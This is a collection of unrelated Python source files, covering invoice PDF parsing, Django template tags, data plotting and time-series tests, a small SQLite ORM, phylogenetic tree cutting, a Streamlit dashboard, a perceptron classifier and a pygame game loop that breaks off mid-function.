import fitz

import cv2

import pandas as pd

import pdfplumber
import os
import re
import datetime

# variables
fecha = datetime.datetime.now()

# Carpeta donde se encuentran los pdfs
carpeta_raiz = ""
carpeta_imagenes = f"/{fecha.strftime('%Y-%m-%d')}_facturas_jpg"
carpeta_excel = f"/{fecha.strftime('%Y-%m-%d')}_Excel_con_datos"

facturas_dict = {}

def read_qr_code(filename, carpeta_imagenes):
    """Read an image and read the QR code.

    Args:
        filename (string): Path to file

    Returns:
        qr (string): Value from QR code
    """
    global text
    global value

    # creamos carpeta para guardar imagenes

    # carpeta_imagenes = f"./{fecha.strftime('%Y-%m-%d')}_{carpeta_imagenes}"

    nombre_de_archivo = os.path.splitext(filename)[0]
    print(nombre_de_archivo)
    global text
    global value
    with fitz.open(filename) as pdf:
        page = pdf.load_page(0)
        pix = page.get_pixmap(dpi=300, alpha=False)

        pix.save(
            f"./{carpeta_raiz + carpeta_imagenes}/{nombre_de_archivo}.jpeg", "jpeg"
        )

    # Extract text from pdf
    pdf = pdfplumber.open(filename)
    page_pdf = pdf.pages[0]
    text = page_pdf.extract_text()

    # read qr code
    try:
        img = cv2.imread(
            rf"./{carpeta_raiz + carpeta_imagenes}/{nombre_de_archivo}.jpeg"
        )
        detect = cv2.QRCodeDetector()
        value, points, straight_qrcode = detect.detectAndDecode(img)

    except:
        print("No se pudo leer el código QR")

def parsear_facturas(carpeta_raiz):
    fecha = datetime.datetime.now()

    # Crear carpeta donde se guardan las imagenes

    print(carpeta_imagenes)

    try:
        os.makedirs(f"./{carpeta_raiz + carpeta_imagenes}")

    except:
        print("La carpeta de imagenes ya existe")

    # Carpeta donde se encuentran los pdfs
    for file in os.listdir():
        if file.endswith(".pdf"):
            read_qr_code(file, carpeta_imagenes)
            nombre = re.findall("Razón Social: (.+?) Fecha de Emisión", text)[0]
            punto_de_venta = re.findall("Punto de Venta: (.+?) Comp. Nro:", text)[0]
            comprobante_numero = re.findall("Comp. Nro: (.+?)\n", text)[0]
            cuit = re.findall("CUIT: (.+?) Apellido y Nombre /", text)[0]
            cae = re.findall("CAE N°: (.+?)\n", text)[0]
            facturas_dict[file] = {
                "nombre": nombre,
                "punto_de_venta": punto_de_venta,
                "comprobante_numero": comprobante_numero,
                "cuit": cuit,
                "cae": cae,
                "Enlace CAE": value,
            }

    df = pd.DataFrame.from_dict(facturas_dict, orient="index")
    print(df)

    # Carpeta donde se guardan los excel

    try:
        os.makedirs(f"./{carpeta_raiz + carpeta_excel}")

    except:
        pass

    df.to_excel(f"./{carpeta_raiz + carpeta_excel}/facturas.xlsx")
    print(carpeta_raiz + carpeta_excel)
    print("Excel creado")
    input("Presiona enter para abrir el excel...")
    print("Abriendo excel")
    os.system(f'"./{carpeta_raiz + carpeta_excel}/facturas.xlsx"')
    print("Excel abierto")
    input("Presiona enter para salir...")

if __name__ == "__main__":
    carpeta_raiz = input(
        "Ingrese el nombre de la carpeta donde quiere guardas las imagenes y el excel: "
    )
    print(carpeta_raiz)
    parsear_facturas(carpeta_raiz)


from urllib.parse import urlencode

from django import template
from django.utils.safestring import mark_safe

register = template.Library()

@register.simple_tag(takes_context=True)
def order_querystring(context, order_option, field):
    query_dict = context['request'].GET.dict().copy()
    query_dict.update(order=field, dir='asc')
    if order_option.field == field:
        query_dict['dir'] = 'asc' if order_option.direction == 'desc' else 'desc'

    return urlencode(query_dict)

@register.simple_tag
def order_icon(order_option, field):
    if order_option.field != field:
        return ''

    if order_option.direction == 'desc':
        icon = ''
    else:
        icon = ''

    return mark_safe(icon)

@register.simple_tag(takes_context=True)
def merge_querystring(context, *, exclude_param=None, **kwargs):
    query_dict = context['request'].GET.dict().copy()
    if exclude_param is not None:
        try:
            del query_dict[exclude_param]
        except KeyError:
            pass

    for k, v in kwargs.items():
        query_dict[k] = v

    return urlencode(query_dict)

@register.filter
def split_numbers(nums_string, separator=','):
    return map(int, nums_string.split(separator))


import numpy as np
import pandas as pd
pd.set_option('max_colwidth',50)
pd.set_option('max_columns',250)
pd.set_option('max_rows',500)

import statsmodels.api as sm
from statsmodels.tsa.stattools import adfuller
from statsmodels.tsa.stattools import adfuller, kpss, acf, grangercausalitytests
from statsmodels.graphics.tsaplots import plot_acf, plot_pacf,month_plot,quarter_plot
from scipy import signal

#visualizations
import folium
from folium import plugins
from folium.plugins import HeatMap
import matplotlib
import matplotlib.pyplot as plt
from mpl_toolkits.axes_grid1 import make_axes_locatable
import seaborn as sns
import cufflinks as cf
import plotly.plotly as py
import plotly.graph_objs as go
import plotly.figure_factory as ff
from plotly import tools as tls
from plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot
init_notebook_mode(connected=True)
from mpl_toolkits.basemap import Basemap
from pylab import rcParams
cf.go_offline()
cf.set_config_file(world_readable=True,theme='white') # Make all charts public and set a global theme
sns.set_style("whitegrid") #possible choices: white, dark, whitegrid, darkgrid, ticks

### Define function for dataset statistics ###
def get_stats(df, sort_by='Different Values', sort_how=False, exclude=[], include_only=[], target='target'):
        columns = [c for c in df.columns.values if c not in exclude and c in include_only]
        df=df[columns]
        # Total missing values
        mis_val = df.isnull().sum()

        # Percentage of missing values
        mis_val_percent = 100 * df.isnull().sum() / len(df)

        # Data types
        data_types = df.dtypes

        # Different Values
        other_values = pd.DataFrame(columns=['Different Values','Most Common','% of Most Common','Skewness',
                                            'Kurtosis','Mean','Min','25% quantile','Median','75% quantile','Max'])
        for c in columns:
            if (df[c].dtype != 'object'):
                other_values = other_values.append({
                    'Name' : c,
                    'Different Values' : df[c].value_counts().count(),
                    'Most Common' : df[c].value_counts().idxmax(),
                    '% of Most Common' : 100*df[c].value_counts().max() / df[c].value_counts().sum(),
                    'Skewness' : df[c].skew(),
                    'Kurtosis' : df[c].kurt(),
                    'Mean' : df[c].mean(),
                    'Min' : df[c].min(),
                    '25% quantile' : df[c].quantile(0.25),
                    'Median' : df[c].median(),
                    '75% quantile' : df[c].quantile(0.75),
                    'Max' : df[c].max(),
                                                    }, ignore_index=True)
            else:
                other_values = other_values.append({
                    'Name' : c,
                    'Different Values' : df[c].value_counts().count(),
                    'Most Common' : df[c].value_counts().idxmax(),
                    '% of Most Common' : 100*df[c].value_counts().max() / df[c].value_counts().sum()
                                                    }, ignore_index=True)
        other_values = other_values.set_index('Name')

        # Make a table with the results
        mis_val_table = pd.concat([data_types, other_values, mis_val, mis_val_percent], axis=1, sort=False)

        # Rename the columns
        mis_val_table_ren_columns = mis_val_table.rename(
        columns = {0:'Type',
                   'Different Values':'Different Values',
                   'Most Common':'Most Common',
                   '% of Most Common':'% of Most Common',
                   'Skewness':'Skewness',
                   'Kurtosis':'Kurtosis',
                   1:'Missing Values',
                   2:'% of Missing Values',
                   'Mean' : 'Mean',
                   'Min' : 'Min',
                   '25% quantile' : '25% quantile',
                   'Median' : 'Median',
                   '75% quantile' : '75% quantile',
                   'Max' : 'Max',
        })

        # Sort the table
        mis_val_table_ren_columns = mis_val_table_ren_columns.sort_values(sort_by, ascending=sort_how)
        df = mis_val_table_ren_columns

        # Re-arrange columns
        #cols = df.columns.tolist()
        #cols = cols[0:1] + cols[7:8]# + cols[0:1] + cols[2:3] + cols[3:4] + cols[5:6] + cols[4:5] + cols[6:7] +cols[7:8] +cols[8:9] + cols[9:10]
        #df = df[cols]

        # Print some summary information
        print ("Your selected dataframe has " + str(df.shape[0]) + " columns. (" +
        str(df[df['Type']=='object'].shape[0])+" categorical and "+str(df[df['Type']!='object'].shape[0])+" numerical).\n"
        "There are " + str(df[df['Missing Values']>0].shape[0]) +" columns that have missing values, of which " +
        str(df[df['% of Missing Values']>=90].shape[0]) + " have over 90%!\n" +
        str(df[(df['Type']=='object')&(df['Different Values']<5)].shape[0]) +
        " object type columns have less than 5 different values and you can consider one-hot encoding, while " +
        str(df[(df['Type']=='object')&(df['Different Values']>=5)].shape[0]) +
        " have more than 5 colums and you can consider label encoding.\n" +
        str(df[df['Skewness']>1].shape[0]) + " columns are highly positively skewed (skewness>1), while " +
        str(df[df['Skewness']<-1].shape[0]) + " columns are highly negatively skewed (skewness<-1).\n" +
        str(df[(df['Skewness']>-0.5)&(df['Kurtosis']<0.5)].shape[0]) + " columns are symmetrical (-0.5<skewness<0.5).\n" +
        str(df[df['Kurtosis']>3].shape[0]) + " columns have high kurtosis (kurtosis>3) and should be check for outliers, while " +
        str(df[df['Kurtosis']<3].shape[0]) + " columns have low kurtosis (kurtosis<3). "
        )

        # Return the dataframe with missing information
        return mis_val_table_ren_columns

### Define function for Univariate Plots
def plot_univariate(df, plot_title):
    hist_data = []
    hist_data.extend([df])

    group_labels = ['Surface Temperature']
    fig = ff.create_distplot(hist_data, group_labels, show_hist=True)
    distplot1=fig['data']

    trace = go.Box(y=df, name='', pointpos = -1.8, jitter = 0.3, boxpoints = 'all')

    my_fig = tls.make_subplots(rows=1, cols=2, print_grid=False)
    my_fig.layout.update(title=plot_title, barmode = 'overlay', bargap=0.04, height=360, width=940, showlegend=False)

    my_fig.append_trace(distplot1[0], 1, 1)
    my_fig.append_trace(distplot1[1], 1, 1)
    my_fig.append_trace(trace, 1, 2)
    iplot(my_fig)

### Define function for Map Plot
def plot_map(df,variable,title,saveFig=False):
    # How much to zoom from coordinates (in degrees)
    zoom_scale = 0
    lats = df['Center Lat'].tolist()
    lons = df['Center Long'].tolist()
    prob = df[variable].tolist()

    # Setup the bounding box for the zoom and bounds of the map
    bbox = [np.min(lats)-zoom_scale,np.max(lats)+zoom_scale,\
            np.min(lons)-zoom_scale,np.max(lons)+zoom_scale]

    fig, ax = plt.subplots(figsize=(20,10))
    ax.set_title(title, fontsize = 24, loc='center')
    matplotlib.rcParams.update({'font.size': 14})
    # Define the projection, scale, the corners of the map, and the resolution.
    m = Basemap(projection='cyl',llcrnrlat=29.75,urcrnrlat=46.25, llcrnrlon=-6,urcrnrlon=36.5,lat_ts=10,resolution='h')
    m.bluemarble()

    # Draw coastlines and fill continents and water with color
    m.drawcoastlines()
    #m.fillcontinents(color='#CCCCCC',lake_color='lightblue')

    # draw parallels, meridians, and color boundaries
    m.drawparallels(np.arange(29.75,46.25,(46.25-30)/5),labels=[1,0,0,0])
    m.drawmeridians(np.arange(-6,36.5,(36.5+6)/5),labels=[0,0,0,1],rotation=15)
    m.drawmapboundary(fill_color='lightblue')

    # format colors for elevation range
    alt_min = np.min(prob)
    alt_max = np.max(prob)
    cmap = plt.get_cmap('jet') #jet,nipy_spectral,YlOrRd,hot_r
    normalize = matplotlib.colors.Normalize(vmin=alt_min, vmax=alt_max)

    from matplotlib.patches import Rectangle
    from matplotlib.patches import FancyBboxPatch

    # the range [50,250] can be changed to create different colors and ranges
    for ii in range(0,len(prob)):
        x,y = m(lons[ii],lats[ii])
        color_interp = np.interp(prob[ii],[alt_min,alt_max],[50,250])
        rect=plt.Rectangle(xy=(x-0.25,y-0.25),linewidth=0.6, width=0.5,height=0.5,fill=True, alpha=0.8,color=cmap(int(color_interp)))
        border=plt.Rectangle(xy=(x-0.25,y-0.25),linewidth=0.2, width=0.5,height=0.5,fill=False, alpha=0.7,color="#000088")
        ax.add_patch(rect);ax.add_patch(border)

    # format the colorbar
    divider = make_axes_locatable(ax)
    cax = divider.append_axes("right", size="3%", pad=0.05)
    cbar = matplotlib.colorbar.ColorbarBase(cax, cmap=cmap,norm=normalize)

    # save the figure and show it
    if (saveFig == True):
        plt.savefig(title+'.png', format='png', dpi=500,transparent=True)
    plt.show()

### Define Function for Time Series Line Plot
def time_plot(df,variable,title,y_axis_title):
    fig, ax = plt.subplots(figsize=(15, 6))
    sns.lineplot(df.index, df[variable] )

    ax.set_title(title, fontsize = 20, loc='center', fontdict=dict(weight='bold'))
    ax.set_xlabel('Year', fontsize = 16, fontdict=dict(weight='bold'))
    ax.set_ylabel(y_axis_title, fontsize = 16, fontdict=dict(weight='bold'))
    plt.tick_params(axis='y', which='major', labelsize=16)
    plt.tick_params(axis='x', which='major', labelsize=16)
    ax.yaxis.tick_left()

### Define Function for Time Series Seasonality Plots
def seasonality_plot(df,variable,title,y_axis_title=''):
    #variable = 'salinitySurface'
    fig, ax = plt.subplots(figsize=(15, 6))

    palette = sns.color_palette("ch:2.5,-.2,dark=.3", 10)
    sns.lineplot(df['month'], df[variable], hue=df['year'], palette=palette)
    ax.set_title(title, fontsize = 20, loc='center', fontdict=dict(weight='bold'))
    ax.set_xlabel('Month', fontsize = 16, fontdict=dict(weight='bold'))
    ax.set_ylabel(y_axis_title, fontsize = 16, fontdict=dict(weight='bold'))

    fig, ax = plt.subplots(nrows=1, ncols=2, figsize=(15, 6))

    sns.boxplot(df['year'], df[variable], ax=ax[0])
    ax[0].set_title('Year-wise Box Plot\n(The Trend)', fontsize = 20, loc='center', fontdict=dict(weight='bold'))
    ax[0].set_xlabel('Year', fontsize = 16, fontdict=dict(weight='bold'))
    ax[0].set_ylabel(y_axis_title, fontsize = 16, fontdict=dict(weight='bold'))

    sns.boxplot(df['month'], df[variable], ax=ax[1])
    ax[1].set_title('Month-wise Box Plot\n(The Seasonality)', fontsize = 20, loc='center', fontdict=dict(weight='bold'))
    ax[1].set_xlabel('Month', fontsize = 16, fontdict=dict(weight='bold'))
    ax[1].set_ylabel(y_axis_title, fontsize = 16, fontdict=dict(weight='bold'))

### Decomposition and strength of trend and seasonality###
def decomposition(df,variable):

    y = df[[variable]]
    rcParams['figure.figsize'] = 15, 12
    rcParams['axes.labelsize'] = 20
    rcParams['ytick.labelsize'] = 16
    rcParams['xtick.labelsize'] = 16
    decomposition = sm.tsa.seasonal_decompose(y, model='additive')
    decomp = decomposition.plot()
    decomp.suptitle('', fontsize=22)

    trend_strength = max(0,(1-decomposition.resid.var()/(decomposition.resid+decomposition.trend).var())[0])
    seasonality_strength = max(0,(1-decomposition.resid.var()/(decomposition.resid+decomposition.seasonal).var())[0])
    print("Trend strength:",trend_strength)
    print("Seasonality strength:",seasonality_strength)

### Augmented Dickey-Fuller Test to check for Stationarity
def adf_test(series,title=''):
    """
    Pass in a time series and an optional title, returns an ADF report
    """
    print('Augmented Dickey-Fuller Test: {}'.format(title))
    result = adfuller(series.dropna(),autolag='AIC') # .dropna() handles differenced data

    labels = ['ADF test statistic','p-value','# lags used','# observations']
    out = pd.Series(result[0:4],index=labels)

    for key,val in result[4].items():
        out['critical value ({})'.format(key)]=val

    print(out.to_string())          # .to_string() removes the line "dtype: float64"

    if result[1] <= 0.05:
        print("Strong evidence against the null hypothesis")
        print("Reject the null hypothesis")
        print("Data has no unit root and is stationary")
    else:
        print("Weak evidence against the null hypothesis")
        print("Fail to reject the null hypothesis")
        print("Data has a unit root and is non-stationary")


import logging
import dataclasses as dc
import sqlite3
from collections.abc import Sequence
from typing import (
    dataclass_transform,
    Any,
    Optional,
    TypeVar,
    ClassVar,
    Generic,
    Protocol,
)

from ormlite.errors import (
    MissingAdapterError,
    InvalidForeignKeyError,
    MultiplePrimaryKeysError,
)
from ormlite.utils import get_optional_type_arg

logger = logging.getLogger(__name__)

T = TypeVar("T")

class Adapter(Generic[T]):
    sql_type: ClassVar[str]
    python_type: ClassVar[type]

    def convert(self, b: bytes) -> T:
        ...  # pragma: no cover

    def adapt(self, val: T) -> str:
        ...  # pragma: no cover

class DatabaseConnection(Protocol):
    def close(self) -> None:
        ...  # pragma: no cover

    def execute(self, statement: str, **kwargs: Any) -> sqlite3.Cursor:
        ...  # pragma: no cover

class Context:
    ADAPTERS: dict[type, Adapter] = dict()
    PYTHON_TO_SQL_MAPPING: dict[type, str] = dict()

    MODEL_TO_TABLE: dict[type, str] = dict()
    TABLE_TO_MODEL: dict[str, type] = dict()

    @classmethod
    def setup(cls):
        cls.PYTHON_TO_SQL_MAPPING = cls.python_to_sql_mapping()

    @classmethod
    def python_to_sql_mapping(cls) -> dict[type, str]:
        mapping = {
            bytes: "BLOB",
            str: "TEXT",
            int: "INTEGER",
            float: "REAL",
        }
        for adapter in cls.ADAPTERS.values():
            mapping[adapter.python_type] = adapter.sql_type
        return mapping

@dataclass_transform()
def model(sql_table_name: str):
    if isinstance(sql_table_name, type):
        raise TypeError("@model(sql_table_name) must be called with the sql table name")

    def wrap(model: type) -> type:
        if sql_table_name in Context.TABLE_TO_MODEL:
            logger.warning(
                f"Reregistering the sql table '{sql_table_name}' with {model}"
            )
        else:
            logger.debug(f"applying @model({sql_table_name}) to {model})")

        model = dc.dataclass(model, slots=True)  # pyright: ignore
        validate_model(model)

        Context.TABLE_TO_MODEL[sql_table_name] = model
        Context.MODEL_TO_TABLE[model] = sql_table_name

        return model

    return wrap

def validate_model(model: type):
    has_primary = False
    for field in dc.fields(model):
        to_sql_type(field.type)

        if field.metadata.get("pk"):
            if has_primary:
                raise MultiplePrimaryKeysError
            else:
                has_primary = True

@dc.dataclass
class ForeignKey:
    table: str
    key: Optional[str] = None

    def to_constraint(self, field: dc.Field[Any]) -> str:
        return (
            f"FOREIGN KEY ({field.name}) "
            f"REFERENCES {self.table}({self.key or field.name})"
        )

def field(*, pk: bool = False, fk: Optional[str] = None, **kwargs: Any):
    foreign_key: Optional[ForeignKey] = None
    if fk:
        parts = fk.split(".")
        if len(parts) > 2:
            raise InvalidForeignKeyError

        table = parts[0]
        key = get(parts, 1)
        foreign_key = ForeignKey(table=(table), key=key)

    return dc.field(
        **kwargs,
        metadata={
            "pk": pk,
            "fk": foreign_key,
        },
    )

def get(seq: Sequence[T], index: int) -> Optional[T]:
    if index >= len(seq):
        return None
    else:
        return seq[index]

def to_sql_literal(value: Any) -> str:
    if value is None:
        return "NULL"

    if isinstance(value, str):
        # TODO: sqlite escape string contents
        return f"'{value}'"

    # bool is a subtype of int
    if isinstance(value, int) and not isinstance(value, bool):
        return f"{value}"

    if isinstance(value, float):
        return f"{value}"

    if isinstance(value, (list, tuple)):
        return f"({','.join(to_sql_literal(item) for item in value)})"

    adapter = Context.ADAPTERS.get(type(value))
    if adapter:
        # TODO: sqlite escape text contents
        # ASSUMPTION: custom adapters always encode to text
        return f"'{adapter.adapt(value)}'"

    raise MissingAdapterError

def to_sql_type(field: type) -> str:
    python_type = get_optional_type_arg(field) or field
    sql_type = Context.PYTHON_TO_SQL_MAPPING.get(python_type)

    if sql_type is not None:
        return sql_type

    raise MissingAdapterError

def column_def(field: dc.Field[Any]) -> str:
    optional_inner_type = get_optional_type_arg(field.type)

    # not null is applied to all fields automatically
    # use default = None to get a nullable field
    constraint = "NOT NULL"

    if field.metadata.get("pk"):
        constraint = "PRIMARY KEY"

    elif field.default is None or optional_inner_type is not None:
        constraint = ""

    # nullable, since we can't convert a python factory into a sql factory
    elif field.default_factory != dc.MISSING:
        constraint = ""

    elif field.default != dc.MISSING:
        constraint = f"DEFAULT {to_sql_literal(field.default)} NOT NULL"

    return f"{field.name} {to_sql_type(field.type)} {constraint}".strip()

def models() -> dict[str, type]:
    return Context.TABLE_TO_MODEL

def sql_table_name(model: type) -> str:
    return Context.MODEL_TO_TABLE[model]

def register_adapter(adapter: Adapter[Any]):
    Context.ADAPTERS[adapter.python_type] = adapter
    sqlite3.register_adapter(adapter.python_type, adapter.adapt)
    sqlite3.register_converter(adapter.sql_type, adapter.convert)


import pandas as pd
from ete3 import Tree

if __name__ == "__main__":
    import argparse

    parser = argparse.ArgumentParser(description="Splits PhyloDeep trees and outputs their parameters.")
    parser.add_argument('--in_nwk', required=True, type=str, help="Nwk tree to cut")
    parser.add_argument('--in_log', required=True, type=str, help="Nwk tree parameters")
    parser.add_argument('--out_nwk', type=str, help="Nwk containing a forest of cut subtrees")
    parser.add_argument('--out_log', type=str, help="Output parameters")
    parser.add_argument('--threshold', type=float, default=0.25,
                        help="Proportion of tree height to cut out: "
                             "e.g., 0.25 would correspond to cutting out the part between the root and 25% of the height"
                             " (and keeping the subtrees)")
    params = parser.parse_args()

    df = pd.read_csv(params.in_log, sep='\t')
    tree = Tree(params.in_nwk)
    for n in tree.traverse('preorder'):
        parent_time = 0 if n.is_root() else getattr(n.up, 'time')
        n.add_feature('time', parent_time + n.dist)
    height = max(getattr(t, 'time') for t in tree)
    df.loc[0, 'T'] = height * (1 - params.threshold)
    height = height * params.threshold
    # tips	f	u	T	mu	la	psi	p
    f = 0
    tips = 0
    with open(params.out_nwk, 'w+') as file:
        todo = [tree]
        while todo:
            n = todo.pop()
            time = getattr(n, 'time')
            if time >= height:
                n.detach()
                n.dist = time - height
                file.write(n.write(format_root_node=True, format=5) + '\n')
                f += 1
                tips += len(n)
            else:
                todo.extend(n.children)
    df.loc[0, 'f'] = f
    df.loc[0, 'tips'] = tips
    rho = df.loc[0, 'p']
    df.loc[0, 'u'] = round(f / rho * (1 - rho))
    df.to_csv(params.out_log, sep='\t', index=False)


"""
tqdm integration with pyaws.transfer.scp
"""

from tqdm import tqdm
from sshtools.transfer import scp
import os

port = "<port used to scp to remote server>"
source_path = "/path/to/data/that/needs/to/be/transfered"
save_path = "/path/to/save/to"
user = "<login name of remote server>"
ip = "<pubic_ip of remote server>"
logfile = "/local/path/to/generate/log/file"

num_files = len(os.listdir(source_path))

with tqdm(
    desc='upload', ncols=60, total=num_files, unit='files', unit_scale=1
) as pbar:
    scp(
        port=port,
        source_path=source_path,
        save_path=save_path,
        user=user,
        ip=ip,
        generate_logfile_to=logfile,
        progress_bar=pbar,
        measure_by="count"
    )


import streamlit as st

def main():
    st.set_page_config(layout="centered",page_title="unidash")
    st.title("University Clubs Dashboard")
    st.markdown("---")

    # Sidebar
    st.sidebar.title("Navigation")
    section = st.sidebar.selectbox("Go to", ("Home", "Clubs Resources", "University Resources"))

    if section == "Home":
        show_homepage()
    elif section == "Clubs Resources":
        show_clubs_resources()
    elif section == "University Resources":
        show_university_resources()

    st.divider()
    st.caption("Designed & Developed by HUSAM")
    st.caption("The app is designed using Streamlit")

def show_homepage():
    st.header("Welcome to the University Clubs Dashboard!")
    st.write("Explore a world of opportunities and resources available at your fingertips with the University Clubs Dashboard. Whether you're a student looking to engage in exciting club activities or seeking essential university resources, this platform is your gateway to a richer and more fulfilling academic experience.")

    st.write("Navigate through the sidebar to discover the following sections:")

    st.subheader("1. Home")
    st.write("You are currently on the Home page. Use this page as a starting point to access various sections of the dashboard.")

    st.subheader("2. Clubs Resources")
    st.write("Discover a plethora of resources offered by your university clubs. From coding to gaming, explore materials, events, and updates from your favorite clubs, including GDSC and ACM.")

    st.subheader("3. University Resources")
    st.write("Access vital university resources with just a click. Explore the library's vast collection, log in to the Learning Management System (LMS) for your courses, and manage your academic life through BITS ERP.")

    st.write("Get ready to embark on an enriched educational journey. Start exploring now!")

def show_clubs_resources():
    st.header("Clubs Resources")
    st.markdown("---")

    st.subheader("GDSC Resources")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

    st.markdown("---")
    st.subheader("ACM Resources")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

    st.markdown("---")
    st.subheader("Ahmed Thahir's Notes")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

def show_university_resources():
    st.header("University Resources")
    st.markdown("---")

    st.subheader("Library Resources")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

    st.markdown("---")
    st.subheader("Courses & LMS")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

    st.markdown("---")
    st.subheader("BITS ERP")
    st.components.v1.html(
        f'',
        width=800,
        height=400,
        scrolling=True,
    )

if __name__ == '__main__':
    main()


import sys
import json
from collections import defaultdict

if  len(sys.argv) > 0:
	try:
		bagOfWords = defaultdict(dict)
		weights1 = defaultdict(dict)
		weights2 = defaultdict(dict)
		avgweights1 = defaultdict(dict)
		avgweights2= defaultdict(dict)
		bias1=0
		bias2=0
		beta1=0
		beta2=0
		count=1
		total_frequency=0

		with open(sys.argv[1], 'r',encoding='utf8') as file:
			for line in file:
				if line.strip():
					words = line.split();

					for i in range(3,len(words)):
						word = words[i].lower()
						word = ''.join(ch for ch in word if ch.isalpha())

						if word=='':
							continue

						if word not in bagOfWords:
							bagOfWords[word]=1
							weights1[word]=0
							weights2[word]=0
							avgweights1[word]=0
							avgweights2[word]=0
						else:
							bagOfWords[word]+=1

						total_frequency+=1

			for j in range(80):
				file.seek(0)
				for line in file:
					words = line.split()
					y1= 1 if words[1]=="True" else -1
					y2= 1 if words[2]=="Pos" else -1

					x1=defaultdict(dict)
					x2=defaultdict(dict)

					for i in range(3,len(words)):
						word = ''.join(ch for ch in words[i] if ch.isalpha())
						word = word.lower()

						if word=='':
							continue

						if word in x1:
							x1[word]+=1
						else:
							x1[word]=1

						if word in x2:
							x2[word]+=1
						else:
							x2[word]=1

					activation1=0
					activation2=0

					for key in x1:
						activation1+=weights1[key] * x1[key]
					activation1+=bias1

					if y1 * activation1 <=0:
						for key in x1:
							weights1[key] = weights1[key] + y1 * x1[key]
							avgweights1[key]+=y1*x1[key]*count
						bias1+=y1
						beta1+=y1*count

					for key in x2:
						activation2+=weights2[key] * x2[key]
					activation2+=bias2

					if y2 * activation2<=0:
						for key in x2:
							weights2[key] = weights2[key] + y2 * x2[key]
							avgweights2[key]+=y2*x2[key]*count
						bias2+=y2
						beta2+=y2*count

					count+=1

			for key in weights1:
				avgweights1[key] = weights1[key] - (avgweights1[key]/float(count))

			for key in weights2:
				avgweights2[key] = weights2[key] - (avgweights2[key]/float(count))

			#calculating stop words
			sortedfrequencies = sorted((value,key) for (key,value) in bagOfWords.items())
			stopwordslen = int(round(0.00113636363*len(bagOfWords)))*-1
			sortedfrequencies = sortedfrequencies[stopwordslen:]
			stopwords=[]
			for item in sortedfrequencies:
				stopwords.append(item[1])
			print(len(bagOfWords))

		#populating json model
		model = defaultdict(dict)
		model ["bagOfWords"] = {}
		model ["bagOfWords"] = bagOfWords
		model["weights1"]={}
		model ["weights1"] = weights1
		model["weights2"]={}
		model ["weights2"] = weights2
		model ["bias1"] = bias1
		model ["bias2"] = bias2
		model["stopwords"]= stopwords

		vanillajson = json.dumps(model)
		fileToWrite = open("vanillamodel.txt", "w")
		fileToWrite.write(vanillajson)
		fileToWrite.close()

		#populating json model
		avgmodel = defaultdict(dict)
		avgmodel ["bagOfWords"] = {}
		avgmodel ["bagOfWords"] = bagOfWords
		avgmodel["weights1"]={}
		avgmodel ["weights1"] = avgweights1
		avgmodel["weights2"]={}
		avgmodel ["weights2"] = avgweights2
		avgmodel ["bias1"] = (bias1- beta1/float(count))
		avgmodel ["bias2"] = (bias2 - beta2/float(count))
		avgmodel["stopwords"]= stopwords

		avgjson = json.dumps(avgmodel)
		fileToWrite = open("averagedmodel.txt", "w")
		fileToWrite.write(avgjson)
		fileToWrite.close()
	except OSError as e:
		print("File not found")
else:
	print("Enter file name and path")


import pygame
from random import choice
from Characters.Player import Player
from Movement.vector2d import Vector
from GameObjs.Chest import Chest
from GameObjs.Door import Door
from GameObjs.Spikes import Spikes
from Utils.game_helper_functions import create_enemies, get_world_data
from Characters.Enemies.CrabEnemy import CrabEnemy
from Characters.Enemies.SharkEnemy import SharkEnemy
from Characters.Enemies.StarFishEnemy import StarFishEnemy

pygame.init()

DIM = 1408, 704
WIN = pygame.display.set_mode((DIM))
CLOCK = pygame.time.Clock()

lvl = 1

data = get_world_data()[f"{lvl}"]

def border():
    world_border = data["borders"]#75

    borders = []
    y = 0
    x = 0

    for idx, i in enumerate(world_border):
        y = (idx//44)*32
        x = (idx - (44*(idx//44)))*32
        if i == 75:
            borders.append(pygame.rect.Rect(x, y, 32, 32))
    return borders

def game_objs():
    chests = data["chests"]#76
    spikes = data["spikes"]#77
    doors = data["doors"]#78
    objs = []

    y = 0
    x = 0

    for idx, i in enumerate(zip(chests, spikes, doors)):
        y = (idx//44)*32
        x = (idx - (44*(idx//44)))*32

        if i[0] == 76:

            objs.append(Chest((x, y)))
        if i[1] == 77:
            objs.append(Spikes((x, y)))
        if i[2] == 78:
            objs.append(Door((x, y-32)))
    return objs

def enemies():
    enemies_data = data["enemies"]#79
    enemies = []

    for idx, i in enumerate(enemies_data):
        y = (idx//44)*32
        x = (idx - (44*(idx//44)))*32
        if i == 79:
            enemies.append(choice([CrabEnemy((x, y-5)), SharkEnemy((x, y-5)), StarFishEnemy((x, y-5))]))

    return enemies

borders = border()
game_obj = game_objs()

player = Player()
platform_rect = pygame.rect.Rect(0, DIM[1]-25, DIM[0], 25)
bg = pygame.image.load("Treasure Hunters/Palm Tree Island/newpmap.png")

# enemies = [CrabEnemy(),Enemy("Fierce Tooth", Vector(870, 550)), Enemy("Pink Star", Vector(940, 550))]
# enemies=create_enemies()
_enemies=enemies()

def redraw():

    WIN.blit(bg, (0,0))

    if _enemies:
        for enemy in _enemies:
            for b in borders:
                enemy.collision_update(b)

            enemy.draw_hitbox(WIN)
            enemy.check_if_player_is_hit(player)
            enemy.draw(WIN)
            enemy.update()
            enemy.change_direction(player)
            enemy.detect_player(player, WIN)
            enemy.check_if_hit(player)

            if enemy.health <= 0:
                _enemies.remove(enemy)

    for gobjs in game_obj:
        gobjs.draw(WIN)
        gobjs.update(player)

    player.draw(WIN)

    # pygame.draw.rect(WIN, (255, 255, 255), platform_rect, 1)

    pygame.display.update()

def quit_game(event):
    if event.type == pygame.QUIT:
        pygame.quit()

def run_main():

    # EVENT1 = pygame.event.Event(pygame.event.custom_type(), attr1 ="Event1")
    # pygame.event.post(EVENT1)
    while True:
        CLOCK.tick(10)

        # if not enemies:
        #     pygame.quit()

        redraw()

        for b in borders:
            player.collision_update(b)

        for event in pygame.event.get():
            quit_game(event)

            # if event == EVENT1:
            #     print("Event 1")
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    player.jump()

                if event.key == pygame.K_n:
                    player.has_sword = not player.has_sword

                if event.key == pygame.K_e:

                    for obj in game_obj:
